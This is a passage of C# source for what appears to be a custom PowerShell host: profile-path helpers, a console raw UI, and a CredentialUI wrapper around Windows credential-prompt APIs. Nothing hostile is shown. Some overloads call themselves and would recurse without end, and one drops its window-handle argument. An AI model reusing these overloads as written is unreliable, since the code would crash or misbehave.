				/// A two dimensional array containing the accelerator characters
				/// and the cleaned-up labels</returns>
				private static string[,] BuildHotkeysAndPlainLabels(
					Collection<ChoiceDescription> choices)
				{
					// we will allocate the result array
					string[,] hotkeysAndPlainLabels = new string[2, choices.Count];

					for (int i = 0; i < choices.Count; ++i)
					{
						string[] hotkeyAndLabel = GetHotkeyAndLabel(choices[i].Label);
						hotkeysAndPlainLabels[0, i] = hotkeyAndLabel[0];
						hotkeysAndPlainLabels[1, i] = hotkeyAndLabel[1];
					}

					return hotkeysAndPlainLabels;
				}
			}

			public class HostUtilities
			{
				/// <summary>
				/// Root registry key for Windows PowerShell.
				/// </summary>
				internal const string PowerShellRootKeyPath = "Software\\Microsoft\\PowerShell";

				/// <summary>
				/// Engine registry key.
				/// </summary>
				internal const string PowerShellEngineKey = "PowerShellEngine";

				/// <summary>
				/// Registry key used to determine the directory where Windows  
				/// PowerShell is installed. 
				/// </summary>
				internal const string PowerShellEngineApplicationBase = "ApplicationBase";

				/// <summary>
				/// The path to the Windows PowerShell version registry key.
				/// </summary>
				internal const string RegistryVersionKey = "1";

				/// <summary>
				/// Gets a PSObject whose base object is currentUserCurrentHost and 
				/// with notes for the other parameters.
				/// </summary>
				/// <param name="allUsersAllHosts">The profile file name for all 
				/// users and all hosts.</param>
				/// <param name="allUsersCurrentHost">The profile file name for 
				/// all users and current host.</param>
				/// <param name="currentUserAllHosts">The profile file name for 
				/// current user and all hosts.</param>
				/// <param name="currentUserCurrentHost">The profile  name for 
				/// current user and current host.</param>
				/// <returns>A PSObject whose base object is currentUserCurrentHost 
				/// and with notes for the other parameters.</returns>
				internal static PSObject GetDollarProfile(string allUsersAllHosts, string allUsersCurrentHost, string currentUserAllHosts, string currentUserCurrentHost)
				{
					PSObject returnValue = new PSObject(currentUserCurrentHost);
					returnValue.Properties.Add(new PSNoteProperty("AllUsersAllHosts", allUsersAllHosts));
					returnValue.Properties.Add(new PSNoteProperty("AllUsersCurrentHost", allUsersCurrentHost));
					returnValue.Properties.Add(new PSNoteProperty("CurrentUserAllHosts", currentUserAllHosts));
					returnValue.Properties.Add(new PSNoteProperty("CurrentUserCurrentHost", currentUserCurrentHost));
					return returnValue;
				}

				/// <summary>
				/// Gets an array of commands that can be run sequentially to set $profile and run the profile commands.
				/// </summary>
				/// <param name="shellId">The identifier of the host or shell used in profile file names.</param>
				/// <returns>The commands used to set $profile.</returns>
				internal static PSCommand[] GetProfileCommands(string shellId)
				{
					return HostUtilities.GetProfileCommands(shellId, false);
				}

				/// <summary>
				/// Gets an array of commands that can be run sequentially to set $profile and run the profile commands.
				/// </summary>
				/// <param name="shellId">The id identifying the host or shell used in profile file names.</param>
				/// <param name="useTestProfile">used from test not to overwrite the profile file names from development boxes</param>
				/// <returns>The commands used to set $profile.</returns>
				internal static PSCommand[] GetProfileCommands(string shellId, bool useTestProfile)
				{
					List<PSCommand> commands = new List<PSCommand>();
					string allUsersAllHosts = HostUtilities.GetFullProfileFileName(null, false, useTestProfile);
					string allUsersCurrentHost = HostUtilities.GetFullProfileFileName(shellId, false, useTestProfile);
					string currentUserAllHosts = HostUtilities.GetFullProfileFileName(null, true, useTestProfile);
					string currentUserCurrentHost = HostUtilities.GetFullProfileFileName(shellId, true, useTestProfile);
					PSObject dollarProfile = HostUtilities.GetDollarProfile(allUsersAllHosts, allUsersCurrentHost, currentUserAllHosts, currentUserCurrentHost);
					PSCommand command = new PSCommand();
					command.AddCommand("set-variable");
					command.AddParameter("Name", "profile");
					command.AddParameter("Value", dollarProfile);
					command.AddParameter("Option", ScopedItemOptions.None);
					commands.Add(command);

					string[] profilePaths = new string[] { allUsersAllHosts, allUsersCurrentHost, currentUserAllHosts, currentUserCurrentHost };
					foreach (string profilePath in profilePaths)
					{
						if (!System.IO.File.Exists(profilePath))
						{
							continue;
						}

						command = new PSCommand();
						command.AddCommand(profilePath, false);
						commands.Add(command);
					}

					return commands.ToArray();
				}

				/// <summary>
				/// Used to get all profile file names for the current or all hosts and for the current or all users.
				/// </summary>
				/// <param name="shellId">null for all hosts, not null for the specified host</param>
				/// <param name="forCurrentUser">false for all users, true for the current user.</param>
				/// <returns>The profile file name matching the parameters.</returns>
				internal static string GetFullProfileFileName(string shellId, bool forCurrentUser)
				{
					return HostUtilities.GetFullProfileFileName(shellId, forCurrentUser, false);
				}

				/// <summary>
				/// Used to get all profile file names for the current or all hosts and for the current or all users.
				/// </summary>
				/// <param name="shellId">null for all hosts, not null for the specified host</param>
				/// <param name="forCurrentUser">false for all users, true for the current user.</param>
				/// <param name="useTestProfile">used from test not to overwrite the profile file names from development boxes</param>
				/// <returns>The profile file name matching the parameters.</returns>
				internal static string GetFullProfileFileName(string shellId, bool forCurrentUser, bool useTestProfile)
				{
					string basePath = null;

					if (forCurrentUser)
					{
						basePath = Environment.GetFolderPath(Environment.SpecialFolder.Personal);
						basePath = System.IO.Path.Combine(basePath, "WindowsPowerShell");
					}
					else
					{
						basePath = GetAllUsersFolderPath(shellId);
						if (string.IsNullOrEmpty(basePath))
						{
							return string.Empty;
						}
					}

					string profileName = useTestProfile ? "profile_test.ps1" : "profile.ps1";

					if (!string.IsNullOrEmpty(shellId))
					{
						profileName = shellId + "_" + profileName;
					}

					string fullPath = basePath = System.IO.Path.Combine(basePath, profileName);

					return fullPath;
				}

				/// <summary>
				/// Gets the registry key used to install Windows PowerShell.
				/// </summary>
				/// <param name="shellId">The parameter is not used.</param>
				/// <returns>The regisrty key.</returns>
				internal static string GetApplicationBase(string shellId)
				{
					string engineKeyPath = PowerShellRootKeyPath + "\\" +
						RegistryVersionKey + "\\" + PowerShellEngineKey;

					using (RegistryKey engineKey = Registry.LocalMachine.OpenSubKey(engineKeyPath))
					{
						if (engineKey != null)
						{
							return engineKey.GetValue(PowerShellEngineApplicationBase) as string;
						}
					}

					// The default keys aren't installed, so try and use the entry assembly to
					// get the application base. This works for managed apps like minishells...
					Assembly assem = Assembly.GetEntryAssembly();
					if (assem != null)
					{
						// For minishells, we just return the executable path. 
						return Path.GetDirectoryName(assem.Location);
					}

					// For unmanaged host apps, look for the SMA dll, if it's not GAC'ed then
					// use it's location as the application base...
					assem = Assembly.GetAssembly(typeof(System.Management.Automation.PSObject));
					if (assem != null)
					{
						// For for other hosts. 
						return Path.GetDirectoryName(assem.Location);
					}

					// otherwise, just give up.
					return string.Empty;
				}

				/// <summary>
				/// Used internally in GetFullProfileFileName to get the base path for all users profiles.
				/// </summary>
				/// <param name="shellId">The shellId to use.</param>
				/// <returns>the base path for all users profiles.</returns>
				private static string GetAllUsersFolderPath(string shellId)
				{
					string folderPath = string.Empty;
					try
					{
						folderPath = GetApplicationBase(shellId);
					}
					catch (System.Security.SecurityException)
					{
					}

					return folderPath;
				}
			}

			internal class MyRawUserInterface : PSHostRawUserInterface
			{
				/// <summary>
				/// Gets or sets the background color of text to be written.
				/// This maps pretty directly onto the corresponding .NET Console
				/// property.
				/// </summary>
				public override ConsoleColor BackgroundColor
				{
					get { return Console.BackgroundColor; }
					set { Console.BackgroundColor = value; }
				}

				/// <summary>
				/// Gets or sets the host buffer size adapted from on the 
				/// .NET Console buffer size.
				/// </summary>
				public override Size BufferSize
				{
					get { return new Size(Console.BufferWidth, Console.BufferHeight); }
					set { Console.SetBufferSize(value.Width, value.Height); }
				}

				/// <summary>
				/// Gets or sets the cursor position. This functionality is not 
				/// implemented. The call fails with an exception.
				/// </summary>
				public override Coordinates CursorPosition
				{
					get { throw new NotImplementedException("The CursorPosition property is not implemented by MyRawUserInterface."); }
					set { throw new NotImplementedException("The CursorPosition property is not implemented by MyRawUserInterface."); }
				}

				/// <summary>
				/// Gets or sets the cursor size taken directly from the .NET 
				/// Console cursor size.
				/// </summary>
				public override int CursorSize
				{
					get { return Console.CursorSize; }
					set { Console.CursorSize = value; }
				}

				/// <summary>
				/// Gets or sets the foreground color of the text to be written.
				/// This maps pretty directly onto the corresponding .NET Console
				/// property.
				/// </summary>
				public override ConsoleColor ForegroundColor
				{
					get { return Console.ForegroundColor; }
					set { Console.ForegroundColor = value; }
				}

				/// <summary>
				/// Gets a value that indicates whether a key is available. 
				/// This implementation maps directly to the corresponding 
				/// .NET Console property.
				/// </summary>
				public override bool KeyAvailable
				{
					get { return Console.KeyAvailable; }
				}

				/// <summary>
				/// Gets the maximum physical size of the window adapted from the  
				/// .NET Console LargestWindowWidth and LargestWindowHeight properties.
				/// </summary>
				public override Size MaxPhysicalWindowSize
				{
					get { return new Size(Console.LargestWindowWidth, Console.LargestWindowHeight); }
				}

				/// <summary>
				/// Gets the maximum window size adapted from the .NET Console
				/// LargestWindowWidth and LargestWindowHeight properties.
				/// </summary>
				public override Size MaxWindowSize
				{
					get { return new Size(Console.LargestWindowWidth, Console.LargestWindowHeight); }
				}

				/// <summary>
				/// Gets or sets the window position adapted from the Console window position 
				/// information.
				/// </summary>
				public override Coordinates WindowPosition
				{
					get { return new Coordinates(Console.WindowLeft, Console.WindowTop); }
					set { Console.SetWindowPosition(value.X, value.Y); }
				}

				/// <summary>
				/// Gets or sets the window size adapted from the corresponding .NET Console calls.
				/// </summary>
				public override Size WindowSize
				{
					get { return new Size(Console.WindowWidth, Console.WindowHeight); }
					set { Console.SetWindowSize(value.Width, value.Height); }
				}

				/// <summary>
				/// Gets or sets the title of the window mapped to the Console.Title property.
				/// </summary>
				public override string WindowTitle
				{
					get { return Console.Title; }
					set { Console.Title = value; }
				}

				/// <summary>
				/// Resets the input buffer. This method is not currently 
				/// implemented and returns silently.
				/// </summary>
				public override void FlushInputBuffer()
				{
					// Do nothing.
				}

				/// <summary>
				/// Retrieves a rectangular region of the screen buffer. This method 
				/// is not implemented. The call fails with an exception.
				/// </summary>
				/// <param name="rectangle">A Rectangle object that defines the size of the rectangle</param>
				/// <returns>Throws a NotImplementedException exception.</returns>
				public override BufferCell[,] GetBufferContents(Rectangle rectangle)
				{
					throw new NotImplementedException("The GetBufferContents method is not implemented by MyRawUserInterface.");
				}

				/// <summary>
				/// Reads a pressed, released, or pressed and released keystroke 
				/// from the keyboard device, blocking processing until a keystroke 
				/// is typed that matches the specified keystroke options. This 
				/// functionality is not implemented. The call fails with an 
				/// exception.
				/// </summary>
				/// <param name="options">A bit mask of the options to be used when 
				/// reading from the keyboard. </param>
				/// <returns>Throws a NotImplementedException exception.</returns>
				public override KeyInfo ReadKey(ReadKeyOptions options)
				{
					throw new NotImplementedException("The ReadKey() method is not implemented by MyRawUserInterface.");
				}

				/// <summary>
				/// Crops a region of the screen buffer. This functionality is not 
				/// implemented. The call fails with an exception.
				/// </summary>
				/// <param name="source">A Rectangle structure that identifies the 
				/// region of the screen to be scrolled.</param>
				/// <param name="destination">A Coordinates structure that 
				/// identifies the upper-left coordinates of the region of the 
				/// screen to receive the source region contents.</param>
				/// <param name="clip">A Rectangle structure that identifies the 
				/// region of the screen to include in the operation.</param>
				/// <param name="fill">A BufferCell structure that identifies the 
				/// character and attributes to be used to fill all cells within 
				/// the intersection of the source rectangle and clip rectangle 
				/// that are left "empty" by the move.</param>
				public override void ScrollBufferContents(Rectangle source, Coordinates destination, Rectangle clip, BufferCell fill)
				{
					throw new NotImplementedException("The ScrollBufferContents() method is not implemented by MyRawUserInterface.");
				}

				/// <summary>
				/// Copies a given character to a region of the screen buffer based 
				/// on the coordinates of the region. This method is not implemented. 
				/// The call fails with an exception.
				/// </summary>
				/// <param name="origin">The coordnates of the region.</param>
				/// <param name="contents">A BufferCell structure that defines the fill character.</param>
				public override void SetBufferContents(Coordinates origin, BufferCell[,] contents)
				{
					throw new NotImplementedException("The SetBufferContents() method is not implemented by MyRawUserInterface.");
				}

				/// <summary>
				/// Copies a given character to a rectangular region of the screen 
				/// buffer. This method is not implemented. The call fails with an 
				/// exception.
				/// </summary>
				/// <param name="rectangle">A Rectangle structure that defines the area to be filled.</param>
				/// <param name="fill">A BufferCell structure that defines the fill character.</param>
				public override void SetBufferContents(Rectangle rectangle, BufferCell fill)
				{
					throw new NotImplementedException("The SetBufferContents() method is not implemented by MyRawUserInterface.");
				}
			}

			public static class CredentialUI
			{
				/// <summary>
				/// Show dialog box for generic credential.
				/// </summary>
				/// <param name="caption"></param>
				/// <param name="message"></param>
				/// <returns></returns>
				public static PromptCredentialsResult Prompt(String caption, String message)
				{
					return Prompt(caption, message, null, null);
				}
				/// <summary>
				/// Show dialog box for generic credential.
				/// </summary>
				/// <param name="caption"></param>
				/// <param name="message"></param>
				/// <param name="hwndParent"></param>
				/// <returns></returns>
				public static PromptCredentialsResult Prompt(String caption, String message, IntPtr hwndParent)
				{
					return Prompt(caption, message, hwndParent, null, null);
				}
				/// <summary>
				/// Show dialog box for generic credential.
				/// </summary>
				/// <param name="caption"></param>
				/// <param name="message"></param>
				/// <param name="userName"></param>
				/// <param name="password"></param>
				/// <returns></returns>
				public static PromptCredentialsResult Prompt(String caption, String message, String userName, String password)
				{
					return Prompt(caption, message, IntPtr.Zero, userName, password);
				}
				/// <summary>
				/// Show dialog box for generic credential.
				/// </summary>
				/// <param name="caption"></param>
				/// <param name="message"></param>
				/// <param name="userName"></param>
				/// <param name="password"></param>
				/// <param name="hwndParent"></param>
				/// <returns></returns>
				public static PromptCredentialsResult Prompt(String caption, String message, IntPtr hwndParent, String userName, String password)
				{
					if (Environment.OSVersion.Version.Major >= 6)
					{
						// Windows Vista or 2008 or 7 or later
						return PromptForWindowsCredentials(caption, message, hwndParent, userName, password);
					}
					else
					{
						// Windows 2000 or 2003 or XP
						return PromptForCredentials(Environment.UserDomainName, caption, message, hwndParent, userName, password);
					}
				}
				/// <summary>
				/// Show dialog box for generic credential.
				/// </summary>
				/// <param name="caption"></param>
				/// <param name="message"></param>
				/// <returns></returns>
				public static PromptCredentialsSecureStringResult PromptWithSecureString(String caption, String message)
				{
					return PromptWithSecureString(caption, message, IntPtr.Zero);
				}
				/// <summary>
				/// Show dialog box for generic credential.
				/// </summary>
				/// <param name="caption"></param>
				/// <param name="message"></param>
				/// <param name="hwndParent"></param>
				/// <returns></returns>
				public static PromptCredentialsSecureStringResult PromptWithSecureString(String caption, String message, IntPtr hwndParent)
				{
					return PromptWithSecureString(caption, message, IntPtr.Zero, null, null);
				}
				/// <summary>
				/// Show dialog box for generic credential.
				/// </summary>
				/// <param name="caption"></param>
				/// <param name="message"></param>
				/// <param name="userName"></param>
				/// <param name="password"></param>
				/// <returns></returns>
				public static PromptCredentialsSecureStringResult PromptWithSecureString(String caption, String message, SecureString userName, SecureString password)
				{
					return PromptWithSecureString(caption, message, IntPtr.Zero, userName, password);
				}
				/// <summary>
				/// Show dialog box for generic credential.
				/// </summary>
				/// <param name="caption"></param>
				/// <param name="message"></param>
				/// <param name="userName"></param>
				/// <param name="password"></param>
				/// <param name="hwndParent"></param>
				/// <returns></returns>
				public static PromptCredentialsSecureStringResult PromptWithSecureString(String caption, String message, IntPtr hwndParent, SecureString userName, SecureString password)
				{
					if (Environment.OSVersion.Version.Major >= 6)
					{
						// Windows Vista or 2008 or 7 or later
						return PromptForWindowsCredentialsWithSecureString(caption, message, hwndParent, userName, password);
					}
					else
					{
						// Windows 2000 or 2003 or XP
						return PromptForCredentialsWithSecureString(Environment.UserDomainName, caption, message, hwndParent, userName, password);
					}
				}


				#region Method: PromptForWindowsCredentials
				/// <summary>
				/// Creates and displays a configurable dialog box that allows users to supply credential information by using any credential provider installed on the local computer.
				/// </summary>
				/// <param name="caption"></param>
				/// <param name="message"></param>
				/// <returns></returns>
				public static PromptCredentialsResult PromptForWindowsCredentials(String caption, String message)
				{
					return PromptForWindowsCredentials(caption, message, String.Empty, String.Empty);
				}
				/// <summary>
				/// Creates and displays a configurable dialog box that allows users to supply credential information by using any credential provider installed on the local computer.
				/// </summary>
				/// <param name="caption"></param>
				/// <param name="message"></param>
				/// <param name="hwndParent"></param>
				/// <returns></returns>
				public static PromptCredentialsResult PromptForWindowsCredentials(String caption, String message, IntPtr hwndParent)
				{
					return PromptForWindowsCredentials(caption, message, hwndParent);
				}
				/// <summary>
				/// Creates and displays a configurable dialog box that allows users to supply credential information by using any credential provider installed on the local computer.
				/// </summary>
				/// <param name="caption"></param>
				/// <param name="message"></param>
				/// <param name="userName"></param>
				/// <param name="password"></param>
				/// <returns></returns>
				public static PromptCredentialsResult PromptForWindowsCredentials(String caption, String message, String userName, String password)
				{
					return PromptForWindowsCredentials(caption, message, IntPtr.Zero, userName, password);
				}
				/// <summary>
				/// Creates and displays a configurable dialog box that allows users to supply credential information by using any credential provider installed on the local computer.
				/// </summary>
				/// <param name="caption"></param>
				/// <param name="message"></param>
				/// <param name="hwndParent"></param>
				/// <param name="userName"></param>
				/// <param name="password"></param>
				/// <returns></returns>
				public static PromptCredentialsResult PromptForWindowsCredentials(String caption, String message, IntPtr hwndParent, String userName, String password)
				{
					PromptForWindowsCredentialsOptions options = new PromptForWindowsCredentialsOptions(caption, message)
					{
						HwndParent = hwndParent,
						IsSaveChecked = false
					};
					return PromptForWindowsCredentials(options, userName, password);

				}
				/// <summary>
				/// Creates and displays a configurable dialog box that allows users to supply credential information by using any credential provider installed on the local computer.
				/// </summary>
				/// <param name="options"></param>
				/// <param name="userName"></param>
				/// <param name="password"></param>
				/// <returns></returns>
				public static PromptCredentialsResult PromptForWindowsCredentials(PromptForWindowsCredentialsOptions options, String userName, String password)
				{
					if (String.IsNullOrEmpty(userName) && String.IsNullOrEmpty(password))
						return PromptForWindowsCredentialsInternal<PromptCredentialsResult>(options, null, null);

					using (SecureString userNameS = new SecureString())
					using (SecureString passwordS = new SecureString())
					{
						if (!String.IsNullOrEmpty(userName))
						{
							foreach (var c in userName)
								userNameS.AppendChar(c);
						}
						if (!String.IsNullOrEmpty(password))
						{
							foreach (var c in password)
								passwordS.AppendChar(c);
						}

						userNameS.MakeReadOnly();
						passwordS.MakeReadOnly();
						return PromptForWindowsCredentialsInternal<PromptCredentialsResult>(options, userNameS, passwordS);
					}
				}
				/// <summary>
				/// Creates and displays a configurable dialog box that allows users to supply credential information by using any credential provider installed on the local computer.
				/// </summary>
				/// <param name="caption"></param>
				/// <param name="message"></param>
				/// <returns></returns>
				public static PromptCredentialsSecureStringResult PromptForWindowsCredentialsWithSecureString(String caption, String message)
				{
					return PromptForWindowsCredentialsWithSecureString(caption, message, IntPtr.Zero, null, null);
				}
				/// <summary>
				/// Creates and displays a configurable dialog box that allows users to supply credential information by using any credential provider installed on the local computer.
				/// </summary>
				/// <param name="caption"></param>
				/// <param name="message"></param>
				/// <param name="hwndParent"></param>
				/// <returns></returns>
				public static PromptCredentialsSecureStringResult PromptForWindowsCredentialsWithSecureString(String caption, String message, IntPtr hwndParent)
				{
					return PromptForWindowsCredentialsWithSecureString(caption, message, hwndParent, null, null);
				}
				/// <summary>
				/// Creates and displays a configurable dialog box that allows users to supply credential information by using any credential provider installed on the local computer.
				/// </summary>
				/// <param name="caption"></param>
				/// <param name="message"></param>
				/// <param name="userName"></param>
				/// <param name="password"></param>
				/// <returns></returns>
				public static PromptCredentialsSecureStringResult PromptForWindowsCredentialsWithSecureString(String caption, String message, SecureString userName, SecureString password)
				{
					return PromptForWindowsCredentialsWithSecureString(caption, message, IntPtr.Zero, userName, password);
				}
				/// <summary>
				/// Creates and displays a configurable dialog box that allows users to supply credential information by using any credential provider installed on the local computer.
				/// </summary>
				/// <param name="caption"></param>
				/// <param name="message"></param>
				/// <param name="hwndParent"></param>
				/// <param name="userName"></param>
				/// <param name="password"></param>
				/// <returns></returns>
				public static PromptCredentialsSecureStringResult PromptForWindowsCredentialsWithSecureString(String caption, String message, IntPtr hwndParent, SecureString userName, SecureString password)
				{
					PromptForWindowsCredentialsOptions options = new PromptForWindowsCredentialsOptions(caption, message)
					{
						HwndParent = hwndParent,
						IsSaveChecked = false
					};
					return PromptForWindowsCredentialsWithSecureString(options, userName, password);
				}
				/// <summary>
				/// Creates and displays a configurable dialog box that allows users to supply credential information by using any credential provider installed on the local computer.
				/// </summary>
				/// <param name="options"></param>
				/// <param name="userName"></param>
				/// <param name="password"></param>
				/// <returns></returns>
				public static PromptCredentialsSecureStringResult PromptForWindowsCredentialsWithSecureString(PromptForWindowsCredentialsOptions options, SecureString userName, SecureString password)
				{
					return PromptForWindowsCredentialsInternal<PromptCredentialsSecureStringResult>(options, userName, password);
				}

				private static T PromptForWindowsCredentialsInternal<T>(PromptForWindowsCredentialsOptions options, SecureString userName, SecureString password) where T : class, IPromptCredentialsResult
				{
					NativeMethods.CREDUI_INFO creduiInfo = new NativeMethods.CREDUI_INFO()
					{
						pszCaptionText = options.Caption,
						pszMessageText = options.Message,
						hwndParent = options.HwndParent,
						hbmBanner = options.HbmBanner
					};

					PromptForWindowsCredentialsFlag credentialsFlag = options.Flags;

					IntPtr userNamePtr = IntPtr.Zero;
					IntPtr passwordPtr = IntPtr.Zero;
					Int32 authPackage = 0;
					IntPtr outAuthBuffer = IntPtr.Zero;
					Int32 outAuthBufferSize = 0;
					IntPtr inAuthBuffer = IntPtr.Zero;
					Int32 inAuthBufferSize = 0;
					Boolean save = options.IsSaveChecked;
					try
					{
						if (userName != null || password != null)
						{
							if (userName == null)
								userName = new SecureString();
							if (password == null)
								password = new SecureString();
							userNamePtr = Marshal.SecureStringToCoTaskMemUnicode(userName);
							passwordPtr = Marshal.SecureStringToCoTaskMemUnicode(password);
						}

						// prefilled with UserName or Password
						if (userNamePtr != IntPtr.Zero || passwordPtr != IntPtr.Zero)
						{
							inAuthBufferSize = 1024;
							inAuthBuffer = Marshal.AllocCoTaskMem(inAuthBufferSize);
							if (
								!NativeMethods.CredPackAuthenticationBuffer(0x00, userNamePtr, passwordPtr, inAuthBuffer,
																	ref inAuthBufferSize))
							{
								var win32Error = Marshal.GetLastWin32Error();
								if (win32Error == 122 /*ERROR_INSUFFICIENT_BUFFER*/)
								{
									inAuthBuffer = Marshal.ReAllocCoTaskMem(inAuthBuffer, inAuthBufferSize);
									if (
										!NativeMethods.CredPackAuthenticationBuffer(0x00, userNamePtr, passwordPtr, inAuthBuffer,
																			ref inAuthBufferSize))
									{
										throw new Win32Exception(Marshal.GetLastWin32Error());
									}
								}
								else
								{
									throw new Win32Exception(win32Error);
								}
							}
						}

						var retVal = NativeMethods.CredUIPromptForWindowsCredentials(creduiInfo,
																			 options.AuthErrorCode,
																			 ref authPackage,
																			 inAuthBuffer,
																			 inAuthBufferSize,
																			 out outAuthBuffer,
																			 out outAuthBufferSize,
																			 ref save,
																			 credentialsFlag
																			 );

						switch (retVal)
						{
							case NativeMethods.CredUIPromptReturnCode.Cancelled:
								return null;
							case NativeMethods.CredUIPromptReturnCode.Success:
								break;
							default:
								throw new Win32Exception((Int32)retVal);
						}


						if (typeof(T) == typeof(PromptCredentialsSecureStringResult))
						{
							var credResult = NativeMethods.CredUnPackAuthenticationBufferWrapSecureString(true, outAuthBuffer, outAuthBufferSize);
							credResult.IsSaveChecked = save;
							return credResult as T;
						}
						else
						{
							var credResult = NativeMethods.CredUnPackAuthenticationBufferWrap(true, outAuthBuffer, outAuthBufferSize);
							credResult.IsSaveChecked = save;
							return credResult as T;
						}
					}
					finally
					{
						if (inAuthBuffer != IntPtr.Zero)
							Marshal.ZeroFreeCoTaskMemUnicode(inAuthBuffer);
						if (outAuthBuffer != IntPtr.Zero)
							Marshal.ZeroFreeCoTaskMemUnicode(outAuthBuffer);
						if (userNamePtr != IntPtr.Zero)
							Marshal.ZeroFreeCoTaskMemUnicode(userNamePtr);
						if (passwordPtr != IntPtr.Zero)
							Marshal.ZeroFreeCoTaskMemUnicode(passwordPtr);
					}
				}
				#endregion

				#region Method: PromptForCredentials
				/// <summary>
				/// Creates and displays a configurable dialog box that accepts credentials information from a user.
				/// </summary>
				/// <param name="targetName"></param>
				/// <param name="caption"></param>
				/// <param name="message"></param>
				/// <returns></returns>
				public static PromptCredentialsResult PromptForCredentials(String targetName, String caption, String message)
				{
					return PromptForCredentials(new PromptForCredentialsOptions(targetName, caption, message));
				}
				/// <summary>
				/// Creates and displays a configurable dialog box that accepts credentials information from a user.
				/// </summary>
				/// <param name="targetName"></param>
				/// <param name="caption"></param>
				/// <param name="message"></param>
				/// <param name="hwndParent"></param>
				/// <returns></returns>
				public static PromptCredentialsResult PromptForCredentials(String targetName, String caption, String message, IntPtr hwndParent)
				{
					return PromptForCredentials(targetName, caption, message, hwndParent);
				}
				/// <summary>
				/// Creates and displays a configurable dialog box that accepts credentials information from a user.
				/// </summary>
				/// <param name="targetName"></param>
				/// <param name="caption"></param>
				/// <param name="message"></param>
				/// <param name="userName"></param>
				/// <param name="password"></param>
				/// <returns></returns>
				public static PromptCredentialsResult PromptForCredentials(String targetName, String caption, String message, String userName, String password)
				{
					return PromptForCredentials(targetName, caption, message, IntPtr.Zero, userName, password);
				}
				/// <summary>
				/// Creates and displays a configurable dialog box that accepts credentials information from a user.
				/// </summary>
				/// <param name="targetName"></param>
				/// <param name="caption"></param>
				/// <param name="message"></param>
				/// <param name="hwndParent"></param>
				/// <param name="userName"></param>
				/// <param name="password"></param>
				/// <returns></returns>
				public static PromptCredentialsResult PromptForCredentials(String targetName, String caption, String message, IntPtr hwndParent, String userName, String password)
				{
					return PromptForCredentials(new PromptForCredentialsOptions(targetName, caption, message) { HwndParent = hwndParent }, userName, password);
				}
				/// <summary>
				/// Creates and displays a configurable dialog box that accepts credentials information from a user.
				/// </summary>
				/// <param name="options"></param>
				/// <returns></returns>
				public static PromptCredentialsResult PromptForCredentials(PromptForCredentialsOptions options)
				{
					return PromptForCredentials(options, null, null);
				}
				/// <summary>
				/// Creates and displays a configurable dialog box that accepts credentials information from a user.
				/// </summary>
				/// <param name="options"></param>
				/// <param name="userName"></param>
				/// <param name="password"></param>
				/// <returns></returns>
				public static PromptCredentialsResult PromptForCredentials(PromptForCredentialsOptions options, String userName, String password)
				{
					using (SecureString userNameS = new SecureString())
					using (SecureString passwordS = new SecureString())
					{
						if (!String.IsNullOrEmpty(userName))
						{
							foreach (var c in userName)
								userNameS.AppendChar(c);
						}
						if (!String.IsNullOrEmpty(password))
						{
							foreach (var c in password)
								passwordS.AppendChar(c);
						}

						userNameS.MakeReadOnly();
						passwordS.MakeReadOnly();
						return PromptForCredentialsInternal<PromptCredentialsResult>(options, userNameS, passwordS);
					}
				}
				/// <summary>
				/// Creates and displays a configurable dialog box that accepts credentials information from a user.
				/// </summary>
				/// <param name="targetName"></param>
				/// <param name="caption"></param>
				/// <param name="message"></param>
				/// <returns></returns>
				public static PromptCredentialsSecureStringResult PromptForCredentialsWithSecureString(String targetName, String caption, String message)
				{
					return PromptForCredentialsWithSecureString(new PromptForCredentialsOptions(targetName, caption, message));
				}
				/// <summary>
				/// Creates and displays a configurable dialog box that accepts credentials information from a user.
				/// </summary>
				/// <param name="targetName"></param>
				/// <param name="caption"></param>
				/// <param name="message"></param>
				/// <param name="hwndParent"></param>
				/// <returns></returns>
				public static PromptCredentialsSecureStringResult PromptForCredentialsWithSecureString(String targetName, String caption, String message, IntPtr hwndParent)
				{
					return PromptForCredentialsWithSecureString(targetName, caption, message, hwndParent, null, null);
				}
				/// <summary>
				/// Creates and displays a configurable dialog box that accepts credentials information from a user.
				/// </summary>
				/// <param name="targetName"></param>
				/// <param name="caption"></param>
				/// <param name="message"></param>
				/// <param name="userName"></param>
				/// <param name="password"></param>
				/// <returns></returns>
				public static PromptCredentialsSecureStringResult PromptForCredentialsWithSecureString(String targetName, String caption, String message, SecureString userName, SecureString password)
				{
					return PromptForCredentialsWithSecureString(targetName, caption, message, IntPtr.Zero, userName, password);
				}
				/// <summary>
				/// Creates and displays a configurable dialog box that accepts credentials information from a user.
				/// </summary>
				/// <param name="targetName"></param>
				/// <param name="caption"></param>
				/// <param name="message"></param>
				/// <param name="hwndParent"></param>
				/// <param name="userName"></param>
				/// <param name="password"></param>
				/// <returns></returns>
				public static PromptCredentialsSecureStringResult PromptForCredentialsWithSecureString(String targetName, String caption, String message, IntPtr hwndParent, SecureString userName, SecureString password)
				{
					return PromptForCredentialsWithSecureString(new PromptForCredentialsOptions(targetName, caption, message) { HwndParent = hwndParent }, userName, password);
				}
				/// <summary>
				/// Creates and displays a configurable dialog box that accepts credentials information from a user.
				/// </summary>
				/// <param name="options"></param>
				/// <returns></returns>
				public static PromptCredentialsSecureStringResult PromptForCredentialsWithSecureString(PromptForCredentialsOptions options)
				{
					return PromptForCredentialsInternal<PromptCredentialsSecureStringResult>(options, null, null);
				}
				/// <summary>
				/// Creates and displays a configurable dialog box that accepts credentials information from a user.
				/// </summary>
				/// <param name="options"></param>
				/// <param name="userName"></param>
				/// <param name="password"></param>
				/// <returns></returns>
				public static PromptCredentialsSecureStringResult PromptForCredentialsWithSecureString(PromptForCredentialsOptions options, SecureString userName, SecureString password)
				{
					return PromptForCredentialsInternal<PromptCredentialsSecureStringResult>(options, userName, password);
				}

				private static T PromptForCredentialsInternal<T>(PromptForCredentialsOptions options, SecureString userName, SecureString password) where T : class, IPromptCredentialsResult
				{
					if (options == null)
						throw new ArgumentNullException("options");
					if (userName != null && (userName.Length > NativeMethods.CREDUI_MAX_USERNAME_LENGTH))
						throw new ArgumentOutOfRangeException("userName", "CREDUI_MAX_USERNAME_LENGTH");
					if (password != null && (password.Length > NativeMethods.CREDUI_MAX_PASSWORD_LENGTH))
						throw new ArgumentOutOfRangeException("password", "CREDUI_MAX_PASSWORD_LENGTH");

					NativeMethods.CREDUI_INFO creduiInfo = new NativeMethods.CREDUI_INFO()
					{
						pszCaptionText = options.Caption,
						pszMessageText = options.Message,
						hwndParent = options.HwndParent,
						hbmBanner = options.HbmBanner
					};
					IntPtr userNamePtr = IntPtr.Zero;
					IntPtr passwordPtr = IntPtr.Zero;
					Boolean save = options.IsSaveChecked;
					try
					{
